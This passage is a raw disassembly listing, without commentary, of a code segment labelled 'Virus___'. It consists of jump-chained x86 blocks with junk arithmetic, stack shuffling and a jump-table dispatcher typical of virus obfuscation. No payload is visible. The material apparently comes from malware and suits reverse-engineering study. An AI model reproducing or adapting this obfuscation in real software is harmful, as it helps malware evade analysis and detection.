		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5602D4
; ---------------------------------------------------------------------------


loc_5589F4:				; CODE XREF: Virus___:005564A4j
		add	ecx, 0FF70F800h
		mov	edx, ecx
		jmp	loc_553176
; ---------------------------------------------------------------------------


loc_558A01:				; CODE XREF: Virus___:0055F88Bj
		push	edx
		push	edi
		push	esp
		pop	edi
		push	edx
		push	ebx
		mov	ebx, 794F7C42h
		mov	edx, 964F8314h
		sub	edx, ebx
		pop	ebx
		jmp	loc_5634C3
; ---------------------------------------------------------------------------


loc_558A19:				; CODE XREF: Virus___:005563F7j
		add	esp, 4
		jmp	loc_564A1C
; ---------------------------------------------------------------------------


loc_558A21:				; CODE XREF: Virus___:0055936Cj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_559759
; ---------------------------------------------------------------------------


loc_558A2F:				; CODE XREF: Virus___:00558D33j
		pop	eax
		push	0A97h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_561038
; ---------------------------------------------------------------------------


loc_558A54:				; CODE XREF: Virus___:0055CD48j
		mov	ecx, ebp
		pop	ebp
		and	ecx, 266E659Ch
		shr	ecx, 6
		xchg	edx, ecx
		inc	edx
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		inc	ecx
		sub	ecx, 10B994h
		push	ecx
		mov	ecx, 72DF4185h
		add	edi, ecx
		pop	ecx
		jmp	loc_55BE14
; ---------------------------------------------------------------------------


loc_558A7E:				; CODE XREF: Virus___:00552DD2j
		sub	eax, 63DB37B0h
		mov	ebp, [esp]
		add	esp, 4
		dec	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 69272C7Fh
		xor	eax, esi
		mov	esi, [esp]
		jmp	loc_5572B3
; ---------------------------------------------------------------------------


loc_558A9F:				; CODE XREF: Virus___:0055696Cj
		add	ebp, 1F12484Bh
		add	ebp, eax
		sub	ebp, 1F12484Bh
		pop	eax
		jmp	loc_55CFA1
; ---------------------------------------------------------------------------


loc_558AB3:				; CODE XREF: Virus___:00554DC2j
		sub	edx, 665C675h
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		push	16EAh
		mov	[esp], esi
		mov	esi, 2EDB1A42h
		xor	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55CB7E
; ---------------------------------------------------------------------------


loc_558ADD:				; CODE XREF: Virus___:005501DFj
		mov	edi, 3E9E2DFFh
		xor	edi, ecx
		pop	ecx
		push	ebp
		push	edi
		mov	edi, 5F3301B7h
		not	edi
		neg	edi
		not	edi
		jmp	loc_556C7E
; ---------------------------------------------------------------------------


loc_558AF7:				; CODE XREF: Virus___:0055CEFAj
		add	eax, 1D9608D2h
		jmp	loc_55C992
; ---------------------------------------------------------------------------


loc_558B01:				; CODE XREF: Virus___:00554868j
		mov	eax, 16DD3369h
		mov	ebx, eax
		pop	eax
		sub	edi, 7D8C3A52h
		sub	edi, 1E406108h
		add	edi, ebx
		add	edi, 1E406108h
		add	edi, 7D8C3A52h
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, edi
		push	ebx
		push	edx
		pop	ebx
		mov	eax, ebx
		pop	ebx
		pop	edx
		jmp	loc_5557D1
; ---------------------------------------------------------------------------


loc_558B3B:				; CODE XREF: Virus___:0055E3B8j
		sub	ebx, 4
		jmp	loc_561617
; ---------------------------------------------------------------------------


loc_558B46:				; CODE XREF: Virus___:0054FD79j
		add	eax, 4
		push	esi
		push	17221F2Ah
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	esi, 4
		neg	esi
		inc	esi
		inc	esi
		sub	esp, 4
		jmp	loc_559519
; ---------------------------------------------------------------------------


loc_558B79:				; CODE XREF: Virus___:0055F4FAj
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	3AD0h
		mov	[esp], edi
		mov	edi, 70AA7F3Bh
		shl	edi, 4
		sub	edi, 0AA7F3ACh
		sub	ebx, 6CB529C2h
		sub	ebx, 1FB06760h
		add	ebx, edi
		add	ebx, 1FB06760h
		push	ecx
		mov	ecx, 60C57142h
		add	ecx, 0ACD34EDh
		or	ecx, 247C2D76h
		and	ecx, 64713ADEh
		push	ebx
		mov	ebx, 4F8E48A7h
		sub	ecx, ebx
		pop	ebx
		neg	ecx
		add	ecx, 81970B79h
		add	ebx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55C2C1
; ---------------------------------------------------------------------------


loc_558BE3:				; CODE XREF: Virus___:00550634j
		add	esp, 4
		sub	eax, 3D7348A2h
		jmp	loc_557365
; ---------------------------------------------------------------------------


loc_558BF0:				; CODE XREF: Virus___:00558C21j
		add	al, bl
		sub	al, 3Fh
		pop	ebx
		sub	al, 1
		add	al, bh
		add	al, 1
		jmp	loc_562503
; ---------------------------------------------------------------------------


loc_558C00:				; CODE XREF: Virus___:0055A24Aj
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		jmp	loc_557300
; ---------------------------------------------------------------------------


loc_558C10:				; CODE XREF: Virus___:00559C0Dj
		dec	ch
		sub	ch, 93h
		sub	bl, ch
		pop	ecx
		add	bl, 0C7h
		push	ebx
		mov	bl, 3Fh
		add	al, bl
		pop	ebx
		jmp	loc_558BF0
; ---------------------------------------------------------------------------


loc_558C26:				; CODE XREF: Virus___:00555F9Ej
		dec	eax
		sub	eax, 53374DFAh
		xor	eax, 0F518BC01h
		sub	ebx, 48FD5274h
		jmp	loc_561D4C
; ---------------------------------------------------------------------------


loc_558C3C:				; CODE XREF: Virus___:00562D10j
		add	ecx, 4FF71199h
		add	edi, 3B007407h
		jmp	loc_5562EE
; ---------------------------------------------------------------------------


loc_558C4D:				; CODE XREF: Virus___:0056493Aj
		xor	ecx, 330E09F5h
		add	edi, ecx
		pop	ecx
		jmp	loc_55B1CC
; ---------------------------------------------------------------------------


loc_558C5B:				; CODE XREF: Virus___:0055702Ej
		pop	esp
		add	esp, 4
		and	eax, edx
		pop	edx
		jmp	loc_55CC18
; ---------------------------------------------------------------------------


loc_558C67:				; CODE XREF: Virus___:00560AFAj
		pop	esi
		push	ebx
		push	esi
		jmp	loc_5528D9
; ---------------------------------------------------------------------------


loc_558C6F:				; CODE XREF: Virus___:00554425j
		mov	ebx, esp
		push	7287h
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	3D04h
		jmp	loc_56089C
; ---------------------------------------------------------------------------


loc_558C94:				; CODE XREF: Virus___:0055123Cj
		mov	edx, [esp]
		jmp	loc_561D85
; ---------------------------------------------------------------------------


loc_558C9C:				; CODE XREF: Virus___:0055CB45j
		mov	bl, 0Ch
		or	dh, bl
		pop	ebx
		push	2C07h
		mov	[esp], edx
		not	byte ptr [esp+1]
		pop	edx
		jmp	loc_5546D2
; ---------------------------------------------------------------------------


loc_558CB3:				; CODE XREF: Virus___:00560506j
		mov	eax, 7E831AC9h
		push	edx
		mov	edx, 64B322C2h
		jmp	loc_557759
; ---------------------------------------------------------------------------


loc_558CC3:				; CODE XREF: Virus___:00560FA3j
		push	ecx
		mov	ecx, 59835950h
		sub	ecx, 0F026AD61h
		jmp	loc_56174D
; ---------------------------------------------------------------------------


loc_558CD4:				; CODE XREF: Virus___:0055DB0Ej
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_558CE1:				; CODE XREF: Virus___:005506BCj
		pop	ecx
		jmp	loc_55031C
; ---------------------------------------------------------------------------


loc_558CE7:				; CODE XREF: Virus___:0055F31Aj
		push	edx
		mov	edx, 2CE51F1h
		jmp	loc_55AFA7
; ---------------------------------------------------------------------------


loc_558CF2:				; CODE XREF: Virus___:00553001j
		xor	ebp, 32EC1EF6h
		not	ebp
		jmp	loc_557A7D
; ---------------------------------------------------------------------------

locret_558CFF:				; CODE XREF: Virus___:0054FF54j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_558D05:				; CODE XREF: Virus___:00560BC2j
		add	edi, eax
		jmp	loc_5633D7
; ---------------------------------------------------------------------------


loc_558D0C:				; CODE XREF: Virus___:0055CB27j
		push	edx
		mov	edx, 5285324h
		xor	edx, 7E062AB6h
		push	edi
		mov	edi, 1ACF63FAh
		jmp	loc_55BB6C
; ---------------------------------------------------------------------------


loc_558D23:				; CODE XREF: Virus___:0056360Dj
		mov	[esp], ebp
		mov	ebp, 3B504A64h
		jmp	loc_55F602
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_558A2F
; ---------------------------------------------------------------------------


loc_558D38:				; CODE XREF: Virus___:00554FE0j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5575F0
; ---------------------------------------------------------------------------


loc_558D55:				; CODE XREF: Virus___:0055CE55j
		xor	al, 0F0h
		mov	ch, al
		pop	eax
		sub	ch, dl
		pop	edx
		sub	ch, 70h
		shr	ch, 8
		xor	ch, 23h
		sub	bl, ch
		pop	ecx
		add	bl, 9Ah
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	23Dh
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 3AA032F6h
		shr	edi, 6
		push	eax
		mov	eax, 287C1EB9h
		sub	edi, eax
		pop	eax
		add	edi, 4E861314h
		sub	esp, 4
		jmp	loc_55A162
; ---------------------------------------------------------------------------


loc_558DA5:				; CODE XREF: Virus___:00563D80j
		add	esp, 4
		jmp	loc_55E435
; ---------------------------------------------------------------------------


loc_558DB0:				; CODE XREF: Virus___:0055B631j
		push	edi
		jmp	loc_551A8E
; ---------------------------------------------------------------------------


loc_558DB6:				; CODE XREF: Virus___:00559B7Cj
					; Virus___:0056019Dj ...
		sub	esp, 4
		mov	[esp], edx
		push	5A33h
		mov	[esp], esi
		mov	esi, 38DC3E8Eh
		mov	edx, 0C723C196h
		add	edx, 7AF233BFh
		add	edx, esi
		sub	edx, 7AF233BFh
		pop	esi
		add	edx, edi
		push	dword ptr [edx]
		jmp	loc_561DCD
; ---------------------------------------------------------------------------


loc_558DE6:				; CODE XREF: Virus___:00555706j
		push	ecx
		mov	ecx, 10E85846h
		shr	ecx, 5
		dec	ecx
		jmp	loc_55ED53
; ---------------------------------------------------------------------------


loc_558DF5:				; CODE XREF: Virus___:00561C86j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_558DFA:				; CODE XREF: Virus___:00562A06j
		shl	bl, 1
		push	0
		jmp	loc_5641C8
; ---------------------------------------------------------------------------


loc_558E06:				; CODE XREF: Virus___:00563A63j
		push	eax
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5641B2
; ---------------------------------------------------------------------------


loc_558E12:				; CODE XREF: Virus___:00564AD3j
		mov	edx, ebx
		pop	ebx
		push	esi
		mov	esi, 2A2379F3h
		jmp	loc_553841
; ---------------------------------------------------------------------------


loc_558E20:				; CODE XREF: Virus___:00562541j
		add	ebx, 3ABA53D2h
		pop	edi
		add	ebx, 61821B53h
		xor	eax, ebx
		jmp	loc_54FFC7
; ---------------------------------------------------------------------------


loc_558E34:				; CODE XREF: Virus___:005633D2j
		xchg	edi, [esp]
		jmp	loc_5541BF
; ---------------------------------------------------------------------------


loc_558E3C:				; CODE XREF: Virus___:00562CE5j
		pop	ecx
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55AEDC
; ---------------------------------------------------------------------------


loc_558E4E:				; CODE XREF: Virus___:00550003j
		push	edx
		push	esp
		jmp	loc_5590F2
; ---------------------------------------------------------------------------


loc_558E55:				; CODE XREF: Virus___:0055E4B3j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_560E94
; ---------------------------------------------------------------------------


loc_558E65:				; CODE XREF: Virus___:00551029j
		mov	[esp], ebp
		push	17D4EB6h
		pop	ebp
		shl	ebp, 3
		and	ebp, 38D024ACh
		sub	ebp, 9409C56Eh
		and	esi, ebp
		jmp	loc_557DF2
; ---------------------------------------------------------------------------


loc_558E84:				; CODE XREF: Virus___:00561979j
		mov	esi, 3E9D75CCh
		dec	esi
		shl	esi, 3
		xor	esi, 2F1F3211h
		or	esi, 67200124h
		shl	esi, 2
		add	esi, 5E20B5D2h
		xor	[esp+4], esi
		jmp	loc_552C8D
; ---------------------------------------------------------------------------


loc_558EAB:				; CODE XREF: Virus___:005637B9j
		push	eax
		mov	eax, 2C6249A9h
		not	eax
		jmp	loc_55F3C2
; ---------------------------------------------------------------------------


loc_558EB8:				; CODE XREF: Virus___:0055A3EAj
		mov	si, 6763h
		mov	cx, si
		jmp	loc_56351E
; ---------------------------------------------------------------------------


loc_558EC4:				; CODE XREF: Virus___:0055546Cj
		add	esi, 0AA8DA101h
		jmp	loc_55382E
; ---------------------------------------------------------------------------


loc_558ECF:				; CODE XREF: Virus___:005530CAj
		pop	ebx
		push	41E7h
		mov	[esp], edi
		jmp	loc_55EA4B
; ---------------------------------------------------------------------------


loc_558EDD:				; CODE XREF: Virus___:00550E3Cj
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	ebx, 65776D0Fh
		sub	ebx, eax
		sub	ebx, 65776D0Fh
		jmp	loc_559A7D
; ---------------------------------------------------------------------------


loc_558F0C:				; CODE XREF: Virus___:0055B679j
		xchg	ebx, [esp]
		pop	esp
		sub	bl, al
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_553403
; ---------------------------------------------------------------------------


loc_558F20:				; CODE XREF: Virus___:00554DD6j
		add	esp, 4
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_5576FE
; ---------------------------------------------------------------------------


loc_558F32:				; CODE XREF: Virus___:0055CF0Ej
		mov	esp, [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_558F3A:				; CODE XREF: Virus___:0055F10Dj
		pop	ecx
		neg	ebp
		xor	ebp, 5C983C2Ah
		jmp	loc_55FED5
; ---------------------------------------------------------------------------


loc_558F48:				; CODE XREF: Virus___:00554EB1j
		xor	eax, ecx
		pop	ecx
		push	ebp
		push	ecx
		push	288865AFh
		pop	ecx
		add	ecx, 0EB05B711h
		jmp	loc_5537CE
; ---------------------------------------------------------------------------


loc_558F5E:				; CODE XREF: Virus___:00558560j
		push	ecx
		mov	cl, 2Fh
		neg	cl
		jmp	loc_55B311
; ---------------------------------------------------------------------------


loc_558F68:				; CODE XREF: Virus___:00551AEBj
		mov	ebx, 1AF72E35h
		sub	edx, ebx
		pop	ebx
		sub	edx, 7C7E78FBh
		add	edx, eax
		add	edx, 7C7E78FBh
		jmp	loc_55EDC2
; ---------------------------------------------------------------------------


loc_558F83:				; CODE XREF: Virus___:005533E3j
		push	eax
		push	esi
		jmp	loc_555AC5
; ---------------------------------------------------------------------------


loc_558F8A:				; CODE XREF: Virus___:00551D9Cj
		xor	ecx, [esp]
		pop	esp
		push	small 13C7h
		mov	[esp], bp
		mov	bp, 551Fh
		add	di, bp
		mov	bp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_559E7D
; ---------------------------------------------------------------------------


loc_558FAE:				; CODE XREF: Virus___:00554CAAj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		jmp	loc_55CCB3
; ---------------------------------------------------------------------------


loc_558FBA:				; CODE XREF: Virus___:005591A1j
		add	eax, 100D00DDh
		add	eax, ecx
		push	esi
		mov	esi, 585233C0h
		dec	esi
		shl	esi, 3
		sub	esi, 5AD8598Eh
		sub	esi, 57AC438Dh
		sub	eax, esi
		jmp	loc_55A189
; ---------------------------------------------------------------------------


loc_558FDE:				; CODE XREF: Virus___:0055E367j
		pop	edi
		xor	edi, 134271BBh
		push	edi
		inc	dword ptr [esp]
		pop	edi
		jmp	loc_561DF5
; ---------------------------------------------------------------------------


loc_558FEF:				; CODE XREF: Virus___:0055EEC1j
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_553C1A
; ---------------------------------------------------------------------------


loc_558FFC:				; CODE XREF: Virus___:0055227Cj
		pop	ecx
		push	esi
		jmp	loc_560A9F
; ---------------------------------------------------------------------------


loc_559003:				; CODE XREF: Virus___:0055BD06j
		mov	[esp], eax
		mov	eax, 31E97FC1h
		push	eax
		jmp	loc_55D685
; ---------------------------------------------------------------------------


loc_559011:				; CODE XREF: Virus___:005505EAj
		pop	ebx
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		neg	esi
		push	ecx
		mov	ecx, 1BD84553h
		sub	esi, ecx
		pop	ecx
		sub	edi, 21880D27h
		add	edi, esi
		sub	esp, 4
		jmp	loc_5504A1
; ---------------------------------------------------------------------------


loc_559036:				; CODE XREF: Virus___:005507B2j
		push	edx
		jmp	loc_55EA79
; ---------------------------------------------------------------------------


loc_55903C:				; CODE XREF: Virus___:00560552j
		mov	[esp], edx
		push	71940171h
		pop	edx
		push	esi
		mov	esi, 7C1D487Bh
		jmp	loc_553C2F
; ---------------------------------------------------------------------------


loc_559050:				; CODE XREF: Virus___:00550778j
		push	28201B86h
		pop	edi
		not	edi
		shl	edi, 8
		add	edi, 6007FBB8h
		jmp	loc_551465
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_55082A
; ---------------------------------------------------------------------------


loc_559074:				; CODE XREF: Virus___:0055D488j
		add	esp, 4
		push	edi
		mov	ebp, [esp]
		jmp	loc_55BBBB
; ---------------------------------------------------------------------------


loc_559083:				; CODE XREF: Virus___:00557B05j
		xor	al, bl
		jmp	loc_563EAE
; ---------------------------------------------------------------------------


loc_55908A:				; CODE XREF: Virus___:0055DCFFj
		cmp	ecx, eax
		pushf
		jmp	loc_55236C
; ---------------------------------------------------------------------------


loc_559092:				; CODE XREF: Virus___:0055638Ej
		mov	edx, esp
		add	edx, 4
		jmp	loc_55EF18
; ---------------------------------------------------------------------------


loc_55909F:				; CODE XREF: Virus___:005569AEj
		or	esi, 1D653C9Dh
		jmp	loc_564B29
; ---------------------------------------------------------------------------


loc_5590AA:				; CODE XREF: Virus___:00562170j
		mov	ebp, 2
		jmp	loc_55405E
; ---------------------------------------------------------------------------


loc_5590B4:				; CODE XREF: Virus___:00556BE6j
		pop	ebx
		add	al, bl
		push	ebx
		mov	bh, 4Bh
		push	ebx
		jmp	loc_561060
; ---------------------------------------------------------------------------


loc_5590C0:				; CODE XREF: Virus___:00555C11j
		mov	eax, 1BCC5326h
		add	ebx, eax
		jmp	loc_55656A
; ---------------------------------------------------------------------------


loc_5590CC:				; CODE XREF: Virus___:00551BC7j
		mov	edi, 7E7A5479h
		mov	esi, 4EB1A70h
		xor	esi, edi
		pop	edi
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 0FFFFFFFFh
		sub	esi, 71C43829h
		jmp	loc_55467B
; ---------------------------------------------------------------------------


loc_5590F2:				; CODE XREF: Virus___:00558E50j
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5529CC
; ---------------------------------------------------------------------------


loc_559101:				; CODE XREF: Virus___:0055EEAFj
		pop	ebp
		push	eax
		push	esi
		pop	eax
		pop	esi
		not	esi
		jmp	loc_54FA38
; ---------------------------------------------------------------------------


loc_55910D:				; CODE XREF: Virus___:00558442j
		add	ch, dh
		add	ch, 2Fh
		push	dx
		jmp	loc_55A3C4
; ---------------------------------------------------------------------------


loc_559119:				; CODE XREF: Virus___:00555237j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	3814h
		mov	[esp], esi
		jmp	loc_563F9C
; ---------------------------------------------------------------------------


loc_55912C:				; CODE XREF: Virus___:00562841j
		xor	eax, ebp
		jmp	loc_563E64
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	468Fh
		mov	[esp], ecx
		jmp	loc_5552AE
; ---------------------------------------------------------------------------


loc_559144:				; CODE XREF: Virus___:0055C9B7j
		push	eax
		mov	eax, 5DFE4790h
		or	edi, eax
		pop	eax
		xor	edi, 2C08371Ah
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		neg	ebx
		jmp	loc_5521F5
; ---------------------------------------------------------------------------


loc_559162:				; CODE XREF: Virus___:00550C87j
		mov	edi, esp
		add	edi, 4
		jmp	loc_55DE15
; ---------------------------------------------------------------------------


loc_55916F:				; CODE XREF: Virus___:00556559j
		mov	[esp], cx
		mov	cl, 0E8h
		add	cl, 15h
		sub	cl, 0AAh
		sub	al, cl
		pop	cx
		sub	al, 79h
		sub	al, bl
		add	al, 79h
		add	al, 53h
		push	ebx
		mov	bh, 4Eh
		sub	bh, 63h
		add	bh, 0Dh
		not	bh
		jmp	loc_5621D8
; ---------------------------------------------------------------------------


loc_559197:				; CODE XREF: Virus___:00553264j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_558FBA
; ---------------------------------------------------------------------------


loc_5591A6:				; CODE XREF: Virus___:0055CD6Aj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	75FCh
		jmp	loc_55A1D3
; ---------------------------------------------------------------------------


loc_5591BC:				; CODE XREF: Virus___:00556BB9j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5619BF
; ---------------------------------------------------------------------------


loc_5591D0:				; CODE XREF: Virus___:00562D57j
		add	eax, 2
		jmp	loc_5628E1
; ---------------------------------------------------------------------------


loc_5591DA:				; CODE XREF: Virus___:0055AD68j
		add	bl, 23h
		sub	bl, al
		push	ecx
		jmp	loc_55778D
; ---------------------------------------------------------------------------


loc_5591E5:				; CODE XREF: Virus___:005583FCj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_554113
; ---------------------------------------------------------------------------


loc_5591FA:				; CODE XREF: Virus___:0055C903j
		add	esp, 4
		add	ebp, ecx
		jmp	loc_5627FE
; ---------------------------------------------------------------------------


loc_559207:				; CODE XREF: Virus___:00564B94j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 16D3376Ah
		push	ebp
		push	7B5Bh
		jmp	loc_55B694
; ---------------------------------------------------------------------------


loc_559229:				; CODE XREF: Virus___:0055DBF4j
		xchg	ecx, [esp]
		jmp	loc_55607F
; ---------------------------------------------------------------------------


loc_559231:				; CODE XREF: Virus___:00556E7Fj
		pop	esp
		jmp	loc_5546DF
; ---------------------------------------------------------------------------


loc_559237:				; CODE XREF: Virus___:005580C9j
		mov	edi, 17B6023Bh
		push	esi
		mov	esi, 52A77C83h
		xor	edi, esi
		pop	esi
		jmp	loc_556F0D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_559258:				; CODE XREF: Virus___:00551588j
		pop	esp
		push	0B05h
		jmp	loc_555964
; ---------------------------------------------------------------------------


loc_559263:				; CODE XREF: Virus___:00561248j
		shl	esi, 8
		jmp	loc_562249
; ---------------------------------------------------------------------------


loc_55926B:				; CODE XREF: Virus___:00559C59j
		mov	ebp, 63C11A6Eh
		xor	ecx, ebp
		pop	ebp
		push	edi
		mov	edi, 756346D5h
		jmp	loc_55511F
; ---------------------------------------------------------------------------


loc_55927E:				; CODE XREF: Virus___:00553626j
		add	dword ptr [esp+4], 3A6C77DCh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 3A6C77DCh
		pop	eax
		jmp	loc_552187
; ---------------------------------------------------------------------------


loc_559298:				; CODE XREF: Virus___:00555C57j
		push	11B7h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_55B6D1
; ---------------------------------------------------------------------------


loc_5592A7:				; CODE XREF: Virus___:00562076j
		mov	esi, [esp]
		jmp	loc_5610D4
; ---------------------------------------------------------------------------


loc_5592AF:				; CODE XREF: Virus___:0056203Bj
		sub	eax, 40267907h
		sub	esi, eax
		pop	eax
		or	esi, 1B9832D8h
		add	esi, 64030C27h
		mov	edx, esi
		pop	esi
		push	esi
		push	edx
		add	dword ptr [esp], 5EFB1B9Eh
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 5EFB1B9Eh
		mov	ecx, esi
		mov	esi, [esp]
		jmp	loc_55C3C0
; ---------------------------------------------------------------------------


loc_5592E8:				; CODE XREF: Virus___:00560F06j
		pop	ebx
		pop	edx
		sub	dword ptr [esp+8], 27F7095Bh
		add	[esp+8], ecx
		add	dword ptr [esp+8], 27F7095Bh
		pop	ecx
		jmp	loc_556347
; ---------------------------------------------------------------------------


loc_559304:				; CODE XREF: Virus___:0055A8F6j
		push	42415492h
		jmp	loc_5649DC
; ---------------------------------------------------------------------------


loc_55930E:				; CODE XREF: Virus___:0055733Aj
		xchg	ebp, [esp]
		jmp	loc_561F1C
; ---------------------------------------------------------------------------


loc_559316:				; CODE XREF: Virus___:0055204Dj
		push	ecx
		jmp	loc_55EF88
; ---------------------------------------------------------------------------


loc_55931C:				; CODE XREF: Virus___:0055898Dj
		xchg	ebp, [esp]
		pop	eax
		shl	eax, 3
		add	eax, 1
		jmp	loc_553F7F
; ---------------------------------------------------------------------------


loc_55932D:				; CODE XREF: Virus___:00560254j
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, 3D9623FFh
		add	[esp+8], edx
		pop	edx
		sub	[esp+4], edx
		jmp	loc_55B50B
; ---------------------------------------------------------------------------


loc_559345:				; CODE XREF: Virus___:00554D08j
		mov	[esp], edx
		mov	dh, 4Ah
		not	dh
		add	dh, 0EBh
		shl	dh, 3
		push	small 7EDDh
		jmp	loc_5565A8
; ---------------------------------------------------------------------------


loc_55935B:				; CODE XREF: Virus___:0056159Ej
		pop	edx
		xor	esi, ebp
		pop	ebp
		xchg	ebp, esi
		dec	ebp
		xchg	ebp, esi
		jmp	loc_55429F
; ---------------------------------------------------------------------------


loc_559369:				; CODE XREF: Virus___:00557F01j
		mov	[esp], esi
		jmp	loc_558A21
; ---------------------------------------------------------------------------


loc_559371:				; CODE XREF: Virus___:0055DBEEj
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_55B636
; ---------------------------------------------------------------------------


loc_55937E:				; CODE XREF: Virus___:00558122j
		add	dword ptr [esp+4], 1E301865h
		add	[esp+4], edi
		jmp	loc_556332
; ---------------------------------------------------------------------------


loc_55938F:				; CODE XREF: Virus___:005624FEj
		push	esp
		pop	dword ptr [esp]
		push	515Ch
		mov	[esp], ecx
		jmp	loc_5554BA
; ---------------------------------------------------------------------------


loc_5593A0:				; CODE XREF: Virus___:00557EE8j
		add	esp, 4
		jmp	loc_55D700
; ---------------------------------------------------------------------------


loc_5593A8:				; CODE XREF: Virus___:00551B99j
		mov	ebp, ecx
		pop	ecx
		add	edi, 7F3162BFh
		sub	edi, ebp
		sub	edi, 7F3162BFh
		jmp	loc_5614F2
; ---------------------------------------------------------------------------


loc_5593BE:				; CODE XREF: Virus___:0055BFA7j
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_5634DC
; ---------------------------------------------------------------------------


loc_5593D1:				; CODE XREF: Virus___:005615E0j
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	2BAEh
		mov	[esp], ecx
		jmp	loc_560E89
; ---------------------------------------------------------------------------


loc_5593EB:				; CODE XREF: Virus___:0056106Bj
		push	ecx
		mov	ch, 0FDh
		shl	ch, 6
		push	edx
		mov	dh, 2Eh
		push	ebx
		mov	bh, 0C5h
		sub	dh, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_559C05
; ---------------------------------------------------------------------------


loc_559404:				; CODE XREF: Virus___:00564876j
		xor	edi, 0E4A11D1h
		jmp	loc_553B52
; ---------------------------------------------------------------------------


loc_55940F:				; CODE XREF: Virus___:0055D8BDj
		add	edi, 206315F6h
		jmp	loc_55975F
; ---------------------------------------------------------------------------


loc_55941A:				; CODE XREF: Virus___:00556B61j
		inc	ebp
		neg	ebp
		add	ebp, 42224AD2h
		add	edx, ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_561706
; ---------------------------------------------------------------------------


loc_559437:				; CODE XREF: Virus___:005571AFj
		sub	al, 0ACh
		push	edx
		mov	dh, 0BFh
		shr	dh, 4
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	cl, 0DDh
		mov	ah, cl
		pop	ecx
		jmp	loc_55DF60
; ---------------------------------------------------------------------------


loc_559450:				; CODE XREF: Virus___:00554D7Fj
		push	esp
		pop	edi
		push	esi
		push	ecx
		mov	ecx, 683743DFh
		jmp	loc_5544D9
; ---------------------------------------------------------------------------


loc_55945E:				; CODE XREF: Virus___:005595C0j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		mov	eax, 1F810563h
		shr	eax, 7
		and	eax, 0C343EACh
